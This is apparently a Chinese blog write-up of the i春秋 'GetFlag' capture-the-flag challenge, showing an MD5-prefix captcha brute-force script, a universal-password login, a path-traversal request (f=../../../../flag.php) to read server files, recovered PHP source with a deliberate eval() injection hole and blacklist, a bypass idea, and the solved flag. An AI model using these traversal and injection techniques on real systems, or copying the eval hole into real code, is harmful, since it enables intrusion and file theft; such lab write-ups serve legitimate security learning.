首页 > 其他分享 >i春秋-GetFlag(md5加密,字符串比较绕过)

i春秋-GetFlag(md5加密,字符串比较绕过)

时间:2024-11-20 10:47:12浏览次数:3  
标签:return GetFlag 整数 flag 字符串 加密 php md5

练习平台地址

竞赛中心

题目描述

 题目内容

你好,单身狗,这是一个迷你文件管理器,你可以登录和下载文件,甚至得到旗帜

 点击登录

 发现capture需要满足条件substr(md5(captcha), 0, 6)=xxxxxx

编写python脚本破解验证码

import hashlib

def getMd5(index):
    """
    函数用于在指定整数范围内查找一个整数,使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配,若找到则返回该整数,若没找到返回None。
    :param index: 用于匹配MD5值前6位的目标字符串
    :return: 满足条件的整数或者None(表示没找到匹配的值)
    """
    for i in range(100000, 100000000):
        num = i
        try:
            md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()
            if md5[0:6] == index:
                return num
        except Exception as e:
            print(f"计算MD5值时出现异常: {e}")
            continue
    return None


if __name__ == "__main__":
    result = getMd5("xxxxxx")
    if result is None:
        print("没有找到满足条件的整数")
    else:
        print("找到的整数为:", result)

尝试万能密码登录

成功登录并返回了文件信息

下载文件后发现提示

flag在根目录下

 抓取下载链接的包看能不能下载其他文件

发现f参数后跟着文件名,尝试修改

f=../../../../flag.php

根据平时利用小皮面板搭建网站的经验猜测

 /var/www/html/flag.php

 /var/www/html/Challenges/flag.php

成功得到源码

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if ((strlen($f) > 13) || (false !== stripos($f, 'return'))) {
    die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try {
    eval("\$spaceone = $f");
} catch (Exception $e) {
    return false;
}
if ($spaceone === 'flag') {
    echo file_get_contents("helloctf.php");
}

代码分析

1.定义一个变量f,通过POST传入

2.对变量f进行字符串 =过滤

3.如果f的长度大于13或则f中有return就输出wowwwwwwwwww并退出

4.如果触发异常(f的字符等于spaceone的)会返回false

5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容

 绕过思路

1.flag='flag';

 2.PHP字符串的特别表示方式,传值时进行url编码

flag

flag{0d960bc3-186b-4a10-a749-4eaef43ae6c6}

注意事项

POST传值两种方式:

1.HackBar插件添加参数

2.Burp抓包修改请求方式后添加参数

标签:return,GetFlag,整数,flag,字符串,加密,php,md5
From: https://blog.csdn.net/2301_79090248/article/details/143898146

相关文章

  • Oracle数据库安全扫描1158/3938端口出现弱SSL加密算法解决方法之一
    问题复述某国企项目现场反应安全扫描出部署某历史项目的Windows服务器上的1158及3938两个端口出现了弱SSL加密算法漏洞,要求整改。经过核实,该Windows服务器上部署了tomcat与Oracle11g数据库,其中1158和3938两个端口均为Oracle数据库所使用。处理思路确认1158和3938作用:如果没......
  • zip伪加密
    解题思路        题目给了个文件夹,内部文件是flag.txt,但压缩包有密码,无法直接获取文件。        从题目:zip伪加密来看,应该是其实没有加密,但是却显示加密,所以看看有没有其他突破口。binwalk无法直接破解压缩包。        查询zip伪加密,获知原......
  • python RSA加密解密
    RSA加密和解密是一种常见的非对称加密方法,主要用于保护数据的安全性。在RSA加密中,使用公钥对数据进行加密,使用私钥进行解密。pipinstallpycryptodomefromCrypto.PublicKeyimportRSAfromCrypto.CipherimportPKCS1_OAEPimportbinasciidefgenerate_keys():#生......
  • Python程序py代码加密方法
    Python程序语言使用方便,应用范围广,但Python的代码加密保护是一个问题,下面介绍一种专业的python程序py代码加密方法,可以有效地保护源代码! 下载最新加密锁开发工具包http://chinadlp.com/?list-DriveDownload.html 完全默认安装后,打开如下开发工具 在安装目录下找到python......
  • HopToDesk 安全加密、免费开源,远程桌面新选择!
    远程桌面工具越来越成为现代工作生活的刚需。你是否还在为寻找一个既安全又免费的工具而苦恼?HopToDesk,一款支持安全加密、免费开源的远程桌面软件,或许正是你的不二之HopToDesk与传统的远程桌面工具相比有哪些独特优势?它如何满足开发者和普通用户的需求?为什么说它是远程桌面工......
  • 压缩软件加密
    除了WinRAR,以下压缩软件在加密压缩时可以对里面的文件名也进行加密:1.7-Zip:    这是一款免费的开源压缩软件,功能强大且被广泛使用。它支持多种压缩格式,并内置强大的AES-256加密算法。在创建压缩文件时可以设置密码,对整个压缩包包括其中的文件名进行加密保护,安全性较高。......
  • 62种加密算法简介
    加密算法,这里分为4类:非对称加密算法对称加密算法哈希功能算法消息认证算法非对称加密算法1.Blum–Goldwasser(BG)cryptosystemBlum-Goldwasser密码系统是一种概率公钥加密方案,由ManuelBlum和ShafiGoldwasser于1984年提出,包含三种算法,包括概率加密算法、确定......
  • Java 常用加密解密算法
    Java常用加密解密算法 概要  加密算法是一种用数学方法对数据进行变换的技术,目的是保护数据的安全,防止被未经授权的人读取或修改。加密算法可以分为三大类:对称加密算法、非对称加密算法和哈希算法(也叫摘要算法)。  本文来梳理下开发中常用到的数据编码中的Base64以及常......
  • HTTPS之于小程序:不仅是加密,更是信任的选择
    在移动互联网的蓬勃发展中,小程序以其轻量级、便捷性、即用即走的特点,迅速成为连接用户与服务的重要桥梁。然而,随着小程序市场的日益扩大,其安全性问题也日益凸显,成为制约小程序进一步发展的关键因素。HTTPS协议,作为现代网络通信中的安全标准,对于小程序而言,不仅是数据传输加密的......
  • vite3+vue3 实现前端部署加密混淆 javascript-obfuscator
    安装pnpminstalljavascript-obfuscator安装之后在项目根目录新建一个obfuscator.js在obfuscator.js写入以下代码直接复制粘贴`/**@用法vite打包完成后,使用命令行nodejs执行本文件:nodeobfuscator.js它会挨个把里面的js文件做混淆然后替换@说明本质就是依......